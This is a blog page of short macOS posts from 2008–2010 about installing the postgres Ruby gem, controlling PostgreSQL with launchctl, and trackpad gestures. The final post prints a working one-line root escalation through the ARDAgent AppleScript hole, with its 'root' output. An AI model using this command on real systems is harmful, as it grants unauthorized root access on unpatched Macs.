Showing posts with label osx. Show all posts
Showing posts with label osx. Show all posts

Wednesday, June 30, 2010

Installing Postgres gem on Snow Leopard

I had to jump through a small hoop to install the postgres gem on Snow Leopard so I'm putting it here to help others out. Hopefully it saves you some time.


Basic System


  • Ruby 1.8.7
  • Macports
  • OSX 10.6 (Snow Leopard)

Install Postgresql


# sudo port install postgresql84-server

Install the Postgres Gem


# sudo env ARCHFLAGS="-arch x86_64" gem install postgres -- --with-pgsql-lib=/opt/local/lib/postgresql84 --with-pgsql-include=/opt/local/include/postgresql84

Thursday, August 7, 2008

Stop and start PostgreSQL on OSX

To manually stop or start a PostgreSQL 8.2 server that was installed via macports, use the following commands.


Stop


# sudo launchctl stop org.macports.postgresql82-server

Start


# sudo launchctl start org.macports.postgresql82-server

Obviously this will also work for PostgreSQL 8.3 or 8.4 if you change the commands slightly.


I prefer the approach Linux distros have generally taken for service management, where all services are listed under the /etc/init.d diretory. To me /etc/init.d/postgresql-8.2 is easier, and you can use command completion to type it.

Thursday, June 19, 2008

MacBook Pro Trackpad Gestures

Sometimes its like a light bulb just got switched on in your head, and you have a strong suspicion you were the only one still floundering around in the dark :) I was just reading some pages at the memcached site using my MacBook Pro, when I accidentally dragged 2 fingers down the trackpad. And what do you know... the page scrolled! I didn't realise that using two fingers on the trackpad was a gesture for scrolling. After a little investigation theres a whole bunch of gesture options under the Mouse and Keyboard options in System Preferences.

ARDAgent Local Explot on OSX

Ouch... Nice one. # osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; root Hopefully this is patched soon. I'm sure there are some apps out there that could make creative use of this hole. This is discussed at length on Slashdot at, "Mac OS X Root Escalation Through AppleScript".